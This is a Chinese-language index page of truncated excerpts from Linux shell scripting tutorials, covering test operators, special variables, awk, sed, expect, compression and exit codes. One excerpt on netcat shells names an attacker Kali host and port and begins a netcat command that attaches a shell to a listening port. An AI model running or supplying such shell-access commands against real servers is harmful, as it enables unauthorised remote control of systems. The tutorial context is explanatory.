詳解shell腳本[] [[]] -n -z 的含義解析 linux shell 程式碼

在寫腳本的時候,總是搞不懂[] [[]]的區別,這次寫一個總結,把它掌握牢固

[]和test

兩者是一樣的,在命令行裡test expr和[ expr ]的效果相同。

test的三個基本作用是判斷档案、判斷字符串、判斷整數。支援使用 ”與或非“ 將表達式連接起來。

test中可用的比較運算符隻有==[……]

Read more

詳解Shell腳本中調用另一個Shell腳本的三種方式 linux shell 程式碼

主要以下有幾種方式:

Command
Explanation

fork
新開一個子 Shell 執行,子 Shell 可以從父 Shell 繼承環境變量,但是子 Shell 中的環境變量不會帶回給父[……]

Read more

linux shell中“.” 和 “./”執行的區別詳解 linux shell 程式碼

目前註意到的區別主要在於環境變量的作用域上:

1. 如果使用” ./ ” 執行,可以理解為程式運行在一個全新的shell中,不繼承當前shell的環境變量的值, 同時若在程式中改變瞭當前shell中的環境變量(不使用export),則當前shell的環境變量值不變。

2. 如果使用” . “執行,則[……]

Read more

詳解Shell 腳本中 “$” 符號的多種用法 linux shell 程式碼

通常情況下,在工作中用的最多的有如下幾項:

  • $0:Shell 的命令本身
  • 1到9:表示 Shell 的第幾個參數
  • $? :顯示最後命令的執行情況
  • $#:傳遞到腳本的參數個數
  • $$:腳本運行的當前進程 ID 號     [……]

    Read more

Linux下常用壓縮格式的壓縮與解壓方法詳解 linux shell 程式碼

.tar

解包: tar xvf FileName.tar

打包:tar cvf FileName.tar DirName

(註:tar是打包,不是壓縮!)

———————————————

.gz

解壓1:gunzip FileName.g[……]

Read more

Linux文本查看命令及其選項詳解(cat,head,tail) linux shell 程式碼

linux系統內置命令可以通過以下兩種方式查詢:“cat –help” 或者“man cat”。

cat命令的常用選項和官方解釋如下:

cat file_name 顯示档案全部內容

cat -b file_name 顯示档案非空行內容

cat -E file_name 在档案每行末尾顯示$,常用於[……]

Read more

詳解shell 變量 linux shell 程式碼

1.簡介

變量是任何一種編程語言都必不可少的組成部分,變量用來存放各種數據。腳本語言在定義變量時通常不需要指明類型,直接賦值就可以,Shell變量也遵循這個規則。

在Bash shell 中,每一個變量的值都是字符串,無論你給變量賦值時有沒有使用引號,值都會以字符串的形式存儲。這意味著,Bash s[……]

Read more

shell 裡 awk print 的用法詳解 linux shell 程式碼

首先, 你需要先瞭解awk 的工作原理:
1。AWK讀取輸入档案一次一行。
2。對於每一行,它匹配在給定的順序模式,如果匹配,執行相應的動作。
3。如果沒有模式匹配,將執行任何行動。
4。在上面的語法,無論是搜索模式,或行動是可選的,但不能同時。
5。如果沒有給出搜索模式,然後awk要執行每一行輸入[……]

Read more

詳解shell 函數定義與調用 linux shell 程式碼

一、Shell函數定義格式

shell函數定義格式,各部分說明如下:

[ function ]等中括號括起來部分—-表示可選(即可有可無)

your_function_name部分—-為函數名

your_shell_commands部分—-為函數代碼;shell一般以行為單位,但可以使用[……]

Read more

詳解shell中腳本參數傳遞的兩種方式 linux shell 程式碼

方式一:$0,$1,$2..

采用$0,$1,$2..等方式獲取腳本命令行傳入的參數,值得註意的是,$0獲取到的是腳本路徑以及腳本名,後面按順序獲取參數,當參數超過10個時(包括10個),需要使用${10},${11}….才能獲取到參數,但是一般很少會超過10個參數的情況。

1.1 示例:新建一[……]

Read more

shell中set指令的用法詳解 linux shell 程式碼

語法

set [-可選參數] [-o 選項]

功能說明

set 指令可根據不同的需求來設置當前所使用 shell 的執行方式,同時也可以用來設置或顯示 shell 變量的值。當指定某個單一的選項時將設置 shell 的常用特性,如果在選項後使用 -o 參數將打開特殊特性,若是 +o 將關閉相[……]

Read more

詳解NC反彈shell的幾種方法 linux shell 程式碼

假如ubuntu、CentOS為目標服務器系統

kali為攻擊者的系統,ip為:192.168.0.4,開放7777端口且沒被占用

最終是將ubuntu、CentOS的shell反彈到kali上

正向反彈shell

ubuntu或者CentOS上面輸入

nc -lvp 7777 -e /bin[......]

Read more

shell模糊匹配與正則詳解 linux shell 程式碼

前言:

正則可以實現一些簡單的功能,並用在腳本中,如檢測ip地址是否符合規范,檢測档案名是否符合規范等等。

正則表達式

正則表達式主要是用來描述一個句法規則的模式。其實說的通俗一點,就是利用字符和元字符的組合,對一些符合既定句法的模式進行模糊匹配。它的主要功能是文本查詢和字符串操作。

正則表達式的[……]

Read more

linux自動化交互腳本expect詳解 linux shell 程式碼

目錄
  • 一、介紹
  • 二、安裝
  • 三、簡單的expect腳本
  • 3.1、編寫腳本
  • 3.2、解釋腳本
  • 3.3、總結
  • 四、正文
    • 4.1、常用命令說明
    • 4.2、示例:運行shell腳本

    一、介紹

    expect腳本是Tcl腳本語言的拓展。用來實現自動的交互式任務,無需人為幹預。在實際開發中,運行shell腳本有時候會輸入linux密碼或[……]

    Read more

    詳解shell腳本的編寫規范 linux shell 程式碼

    目錄
    • 編寫shell腳本的一些規范
    • 解釋器
    • 添加腳本版本和註釋功能
    • 添加腳本調試
    • 變量命名
    • 命名規范
    • 函數命名
    • 腳本命名
  • 函數
    • 引用模塊或档案
      • 腳本日志
        • 配置档案
          • 編寫shell腳本的一些規范

            解釋器

            shell腳本一般選擇bash作為解釋器,腳本開頭應為

            #!/bin/bash
            或
            #!/bin/sh

            添加腳本版本和[……]

            Read more

            shell腳本快速創建、格式化、掛載新添加的磁盤實現方法詳解 linux shell 程式碼

            一、通過管理員選擇創建、格式化、掛載新添加的磁盤腳本

            #! /bin/bash
            echo "=============================="
            PS3="chose which disk you want to create:"
            select W in `ls /dev/sd*|gr[......]

            Read more

            Shell退出狀態碼及其應用詳解 linux shell 程式碼

            目錄
            • 一、退出狀態碼的小實驗
            • 二、利用退出狀態碼實現命令的重試
            • 三、總結

            Shell 中運行的命令會使用0-255之間的整數值,作為退出狀態碼,並以此來告知shell該命令執行的狀態。通常情況下,約定0代表命令成功結束,非0代表程式非正常退出。

            典型退出狀態碼及[……]

            Read more

            shell腳本–sed的用法詳解 linux shell 程式碼

            目錄
            • 1.sed的使用方法,調用sed 命令的語法有兩種:
            • sed的常用選項:
            • sed中的編輯命令:
          • 2.sed命令實例:
            • 示例1:向档案中添加或插入行
            • 示例2:更改档案中指定的行
            • 示例3:刪除档案中的行
            • 示例4:替換档案中的內容
            • 示例5:打印档案中的行
            • 示例6:打印档案的行號
            • 示例7:從档案中讀取內容
            • 示例8:向档案中寫[……]

              Read more

            詳解Shell if else語句的具體使用方法 linux shell 程式碼

            和其它編程語言類似,Shell 也支援選擇結構,並且有兩種形式,分別是 if else 語句和 case in 語句。本節我們先介紹 if else 語句,case in 語句將會在《Shell case in》中介紹。

            如果你已經熟悉瞭C語言、Java、JavaScript 等其它編程語言,那麼你[……]

            Read more

            詳解Shell $*和$@之間的區別 linux shell 程式碼

            $* 和 $@ 都表示傳遞給函數或腳本的所有參數,我們已在《Shell特殊變量》一節中進行瞭演示,本節重點說一下它們之間的區別。

            當 $* 和 $@ 不被雙引號” “包圍時,它們之間沒有任何區別,都是將接收到的每個參數看做一份數據,彼此之間以空格來分隔。

            但是當它們被雙引號” “包含時,就會有區別瞭[……]

            Read more